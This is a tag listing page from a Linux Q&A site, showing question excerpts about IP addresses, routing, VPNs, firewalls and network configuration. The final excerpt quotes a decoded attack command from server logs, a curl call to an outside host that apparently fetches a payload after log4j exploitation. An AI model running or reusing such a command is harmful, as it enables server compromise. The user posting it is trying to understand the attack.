2022 Developer Survey is open! Take survey.

Questions tagged [ip]

Questions about the IP protocol and IP addresses. For Linux ip utility related questions, use iproute tag instead.

Filter by
Sorted by
Tagged with
0 votes
2 answers
52 views

Public IP address of local network machines?

I have a home local network with two machines connected to router: Linux Ubuntu x86_64 Linux Ubuntu Arm aarch64 (headless, no GUI) I tried ip r to find out the public IP of both machines. This works ...
user avatar
  • 148
0 votes
0 answers
7 views

Reassembling fragments in PCAP file

We have PCAP files with long and heavily fragmented datagrams. We want to read them in Python but that avenue may not work out due to lack of PCAP reassembly support in feasible libraries. Our ...
user avatar
0 votes
1 answer
30 views

iptables: Failure when trying to block port access for most IP addresses, except for a few

I am using Debian 8 linux. I'm trying to block input access to a few ports for most IP addresses, except for a small, select list of IP addresses. I am doing the following, but it does not seem to ...
user avatar
  • 271
0 votes
1 answer
65 views

What are all the IPs that I see in the result of `ip a`

So I issued a command ip a which list all the IP addresses. However I don't understand what all the other Ip addresses and details it printed. In this output I just understood that inet W.X.Y.Z/20 brd ...
user avatar
-5 votes
2 answers
33 views

Display the IP addresses of all currently configured interfaces [closed]

Display the IP addresses of all currently configured interfaces. The output should done in the following format:i The interface eth0 currently has the IP 192.168.178.22 The interface eth1 currently ...
user avatar
0 votes
0 answers
15 views

Weblogic redirection error

I am currently facing a problem in Weblogic with respect to DNS. Scenario: The user accesses the portal by DNS "www.xxxx.com.br" and when he logs in he is redirected to the IP "10.18.x....
user avatar
0 votes
2 answers
38 views

Find physical machine associated with /dev/pts/N

If i have an operating system with multiple users logged in via ssh, is there any way i can find which physical machine is associated with each /dev/pts/N (where N is an integer)? All i know is the ...
user avatar
0 votes
1 answer
61 views

Instead of a single hostname specified on the command line, it reads in a list of multiple target IP addresses from a file

I want to make it so that instead of a single hostname specified on the command line, it reads in a list of multiple target IP addresses from a file. #!/bin/bash - # bannergrab.sh function isportopen (...
user avatar
0 votes
1 answer
11 views

Is it possible to move broadcast and local routes in the local routing table to custom routing table without creating a name space?

I have a host with two interfaces. ens4 is mgmnt, ens3 is another network. # ip -br a | sort ens1 DOWN ens2 DOWN ens3 UP 172.16.10.1 ens4 UP 192.168.1.100 # ...
user avatar
  • 285
0 votes
1 answer
43 views

How to set a static IP address regardless of interface hardware in Debian?

I am using a Debian minimal OS for a small server. I want to have a storage device with full OS as a backup. So if there was any problem I will be able to swap the HDD devices. But the hardware that ...
user avatar
0 votes
0 answers
23 views

Completely disable NetworkManager from using DHCP client?

I am using RHEL 7.9. This version of RHEL I use nmcli and nmtui to configure network connections. Problem: NetworkManager service appears to be filling up journalctl logs with the following output Apr ...
user avatar
  • 285
0 votes
0 answers
10 views

Output IP to IceWM desktop

Without using Conky, I want to display on the desktop a text with the IP address of the computer, which is stored in a global variable. Just display the position on the screen. I use IceWM and idesk.
user avatar
0 votes
1 answer
11 views

How to find the unique access log IPs

I need to get all the IPs which accessed my server today only. From below command I could get all the IPs ,but I need to get the IPs of today only.. sudo awk '{ print $1}' /etc/httpd/logs/access_log | ...
user avatar
  • 41
0 votes
1 answer
29 views

how to disable tcp_resets_received from netdata

I'm receiving TCP reset emails from netdata, how would I disable the resets from happening on my linux GCP Instance? Linux: 20.04 Provider: GCP I've tried doing this but it doesnt seem to be working. ...
user avatar
0 votes
0 answers
28 views

RHEL 7.9 how to use nmcli to remove an ip address?

I want to use nmcli to remove an ip address on an interface. I want the interface to have no ip address. I tried the following but nothing works nmcli con mod eth0 ipv4.address; nmcli con up id eth0 ...
user avatar
  • 285
0 votes
0 answers
119 views

Routing problem shows this Error: Nexthop has invalid gateway

I am trying to route some traffic over a VPN (to certain IPs) and other via my normal connection. To do this I am trying to add a static route to make traffic to some IPs bypass the VPN tunnel. Very ...
user avatar
  • 151
4 votes
2 answers
866 views

What is my LAN IP (ubuntu and missing eth0)?

Running 20.04 I am trying to figure out what my LAN IP is on my laptop. If I run ifconfig I get (trimmed down): $ ifconfig docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172....
user avatar
  • 871
2 votes
1 answer
41 views

I've cloned my VPS content incl. domain into a new VPS with new IP but "Refused to connect to the site webscraping.pro"

I've cloned my VPS content into a new VPS with new IP ( OS: Centos 7) but "Refused to connect to the site webscraping.pro" or "Refused to connect to the site 178.208.88.6" The ...
user avatar
0 votes
0 answers
48 views

ssh via public ip address

I have a VisionFive V1 risc v single board computer running Fedora. It is connected along with a raspberry pi to a router. The router has port 22 open and a public ip address. I can access the ...
user avatar
-1 votes
1 answer
38 views

How do I prevent the kernel from dropping packets with incorrect IP header length fields?

I'm playing around with raw socket programming and IP header spoofing. If I run the following in my Python console with Scapy, I can see an ICMP echo request and reply in Wireshark and with a C ...
user avatar
  • 1
0 votes
0 answers
14 views

hostname -I prints the same ip address after switching to a different wifi network

On my ChromeOs terminal, when I type hostname -I, when connected to a Jio Fiber wifi network it prints 100.115.92.199 2405:201:d021:408f:216:3eff:fe4b:6f1b and when I'm connected to a Airtel Wifi ...
user avatar
0 votes
1 answer
19 views

Nmap Shows Different States of the Same Port with Different Scan Methods

When I launch an -sA scan of a certain IP address, it shows port "80" as "unfiltered". Code is below. sudo nmap -sA -vv -p 80 192.168.0.30 -Pn Host discovery disabled (-Pn). All ...
user avatar
0 votes
1 answer
54 views

Bash Script to print IP [duplicate]

I need to write a bash script that, when run, displays “Your private ip is: X.X.X.X”. How would I go about writing such a script? I also need to do the same thing but with my public IP rather than ...
user avatar
0 votes
0 answers
49 views

How to configure proxychains without TOR

I try to configure proxychains without tor I followed the procedure from this website . https://linuxhint.com/proxychains-tutorial/ and then i'm using the proxylist from the following site https://...
user avatar
0 votes
1 answer
34 views

How to setup internet connection sharing on second subnet

I have a problem with the usage of a pxe server and internet sharing to work together. In first place, I had only one network adapter and used DNSMASQ, every time I had to install a computer's OS. I ...
user avatar
0 votes
1 answer
48 views

Can two servers bind the same port?

I was surprised to discover that two servers I'm maintaining are both able to listen on port 3000 in development at the same time. With the first server running, netstat shows ▶ sudo netstat -nap ...
user avatar
  • 103
0 votes
1 answer
37 views

EC2 Redhat - Multiple IP

I have one VPC with two Subnets (SubnetA and SubnetB). My team wants to have multiple IPs assigned to the Instance, each from one subnet. The Instance already have one Private IP (from SubnetA, ...
user avatar
0 votes
0 answers
16 views

How to log Source IPs of Incoming File Transfers above a Specific Size?

I am trying to create a filter with tcpdump that logs the source IPs of only incoming file transfers above a specific size irrespective of the protocol that is being used for the transfer. For ...
user avatar
0 votes
0 answers
27 views

Local and remote ip adresses are same, I cannot ssh to server

I am using OpenVPN to ssh my office computer. My home ip(inet) adress is 192.168.1.30 and my office ip adress is 192.168.1.100. After OpenVPN connection I can not ping my office computer. I think ...
user avatar
0 votes
1 answer
20 views

How do I set up my raspberry pi so that I can connect to its ip address via a domain

Let me explain what I want to happen. I have an http server program that displays a website every time I connect to my raspberry pi's ip address on port 8080. But this only works on my current network....
user avatar
  • 25
2 votes
1 answer
47 views

How can I see what DNS requests are being made by a website?

I recently generated a unified hosts file from Steven Black's hosts github project on my MX Linux machine. However, it's preventing cbs.com from loading their sponsored messages. This, in turn, is ...
user avatar
0 votes
1 answer
39 views

IP Masquerading during installation of Arch Linux

I am trying to install Arch Linux on a device that is connected to the Internet via WiFi only. The WiFi adapter is not listed in iwd (device list), while the WiFi adapter works in MX Linux live stick. ...
user avatar
  • 192
1 vote
0 answers
39 views

Is there a "hostname -I" alternative that works on most Unix-like systems? [duplicate]

I am writing a Bash script that requires the internal/private IP address. On a Linux system I normally use the hostname -I command. However, this does not work on some other Unix-like systems, most ...
user avatar
  • 45
0 votes
1 answer
12 views

How to change the host address that my web server listens on?

I am setting up a web server on my Ubuntu host. To be specifically, it is gdbgui. According to its help info, I can use --host to specify the host IP it listens on. And on my host, I have below IP ...
user avatar
  • 1,041
0 votes
1 answer
156 views

Why does Ping default to IPv6 for me?

My homeserver running Debian 10 has at some point lost internet connection when being connected to Mullvad VPN via Wireguard. I can ping 8.8.8.8 and ping google.com -4 but I when I ping google.com it ...
user avatar
  • 3
1 vote
1 answer
61 views

Setting a static IP address on Debian 10, any reason to set dns-nameservers, broadcast or network?

I'm setting a static IP address on Debian 10. $ vim /etc/network/interfaces auto enp1s0 iface enp1s0 inet static address x.x.x.x netmask x.x.x.x gateway x.x.x.x # broadcast x.x.x.x # ...
user avatar
  • 694
1 vote
1 answer
35 views

Linux L2 bridge blocks ip packets which are addressed to a listening port on the host

On my Server I have a bunch of vms, connected by a simple L2 linux bridge to an OPNsense VM for firewalling and routing between the vms. The OPNsense vm is connected via macvtap to the single enp3s0 ...
user avatar
  • 11
0 votes
1 answer
18 views

How to access ubuntu server on two diferent public ips

I'm strugling with the current problem: Background info: Ubuntu 20.04 on dell R710 server I have 2 diferent internet connections with 2 isp supplied routers. I've connected eno2 to isp1 router and get ...
user avatar
0 votes
1 answer
25 views

How may i make the best of 3 flaky connections?

i have 2 access providers. Neither is stable. Either connection may go dead for seconds or hours at a time. When "working", both connections are likely to drop anywhere from 0-100% of ...
user avatar
  • 51
1 vote
1 answer
101 views

ebtable rules to block traffic at bridge interface

I have a setup, one bridge is connected together with 3 ethernet ports eth1,eth2, eth3. How can I block the traffic from a client which is connected to eth1, based on client's MAC at bridge, br0 using ...
user avatar
  • 113
1 vote
2 answers
441 views

Couldn't arp for host, Kali Linux

I am currently learning the basics of cybersecurity and I am trying to follow the following tutorial on ARP spoofing. I am using kali linux on a VirtualBox VM on my Windows pc to redirect my windows ...
user avatar
  • 19
0 votes
0 answers
41 views

How to find out ip of local-link-ed linux? (make one discoverable by ip, broadcast, discovery, avahi)

I connected two Linux PCs with local-link directly. I now want one to know e.g. ipv6 address assigned by local-link connection. I've tried web search for discover and make discoverable, etc. and found ...
user avatar
0 votes
3 answers
108 views

the inet/inet6 line of ip a output

I'm trying to understand the output of ip a command. For example we can get this output from it: 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 ...
user avatar
  • 13
1 vote
1 answer
16 views

dnsutils points to public IP of client machine, not server

I am logged in via SSH to a remote machine, which is a Raspberry Pi 4. I am trying to use dnsutils to extract the public IP of the remote machine. However, it is returning the public IP of the client ...
user avatar
0 votes
2 answers
25 views

why does a VPN need to access a public IP address directly (not through the tunnel)?

I am trying to understand how NordVPN works, from the IP side of things. After establishing a VPN tunnel, my public IP address becomes : $ dig +short myip.opendns.com @resolver1.opendns.com 138.199.16....
user avatar
0 votes
1 answer
50 views

Ufw, allow in/out on enp0s3 192.168.0.0/16

is it possible work ufw to allow in and out on a specific interface AND ip range at the same time? ufw allow in/out from enp0s3 192.168.0.0/16 ? e.g allowing everything on local network, but only ...
user avatar
0 votes
0 answers
36 views

My firewall does not work and I can easily access the web using http and https

I can easily acsess the web , using http protocols however my firewall should reject traffic from http and https , does anyone know why this is?? #!/usr/sbin/nft -f table inet block_https { ...
user avatar
2 votes
1 answer
105 views

What are the IP numbers when connected to VPN

I am under Ubuntu 20.04.3 LTS. When I am connected to ProtonVPN, I see this $ dig +short myip.opendns.com @resolver1.opendns.com 45.87.214.117 $ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 ...
user avatar
2 votes
3 answers
90 views

Why specify CIDR on ip addr add?

When running ip addr add to assign an address to a network interface, you need (or can) specify the subnet of the interface. So then when you run ifconfig you can see the subnet: enp0s3: flags=4163<...
user avatar
  • 264
0 votes
2 answers
404 views

What does it mean when there’s a / in the address on a curl command?

I was looking through my server logs after the recent log4j issues and saw an interesting command which was base64 encoded (decoded version is below): (curl -s 195.54.160.149:5874/66.228.37.152:80||...
user avatar
  • 103

1
2 3 4 5
22